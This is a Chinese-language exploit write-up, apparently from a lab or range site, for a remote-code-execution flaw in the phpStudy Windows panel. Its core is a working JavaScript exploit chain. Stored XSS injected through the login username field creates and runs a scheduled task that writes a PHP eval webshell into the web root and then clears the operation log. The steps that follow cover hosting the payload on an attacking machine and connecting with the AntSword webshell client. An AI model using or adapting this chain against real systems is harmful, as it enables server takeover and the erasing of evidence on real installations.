phpStudy 小皮 Windows面板 存在RCE漏洞
靶场资料后台自行领取【靶场】
Phpstudy小皮面板存在RCE漏洞,通过分析和复现方式发现其实本质上是一个存储型XSS漏洞导致的RCE。通过系统登录用户名输入处的XSS配合系统后台自动添加计划任务实现RCE。
这是登录成功的界面
登录成功了就来和大佬们喝喝茶吧~
首先在用户名登录的地方输入XSS代码验证是否存在漏洞
即使输入失败也没有关系
此时再输入正确的密码,成功弹窗
如上图可以看到确实触发XSS弹窗,这是因为整个系统在加载的过程中会读取操作日志的内容,刚刚在用户名处插入的语句就是为了让系统操作日志进行记录以便登录成功之后加载js代码脚本,所以执行显示了登录系统失败。
外链js的exp
function poc(){
$.get('/service/app/tasks.php?type=task_list',{},function(data){
var id=data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task',{
tid:id
},function(res2){
$.post('/service/app/log.php?type=clearlog',{
},function(res3){},"json");
},"json");
},"json");
}
function save(){
var data=new Object();
data.task_id="9";
data.title="xxxasdxxxx";
data.exec_cycle="1";
data.week="1";
data.day="4";
data.hour="15";
data.minute = "42";
data.shell='echo "<?php @eval($_POST[123]);?>" > E:/Development/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';
$.post('/service/app/tasks.php?type=save_shell',data,function(res){
poc();
},'json');
}
save();
在本地(攻击机)使用python开启一个http服务,并且将poc脚本放在服务目录下进行利用。
打开攻击机浏览器看看能不能访问这个poc文件
登录这个靶机,注入payload,链接脚本到你的exp
这里我们返回就发现新增了一个计划脚本
我们查看网站的根目录,此时已经多了一个php文件
我们复制查看这个网站的绝对路径
修改我们的exp,否则会路径找不到此php一句话木马文件,从而不能执行php文件
我们尝试访问这个站点去执行这个exp,却不能访问
我们进入后台打开nginx/阿帕奇服务器就好了
此时你会发现你访问了这个php, 自动下载了这个文件,并没有执行,说明是纯静态的网页,我们也就使用蚁剑连接不上了
这个时候我们去网站后台看php版本,没有选择,选择指定的版本并保存就好。
这个时候我们再去访问这个php木马,这个时候就可以直接使用【蚁剑】连接,连接就不演示了(图不小心删了)
喝茶~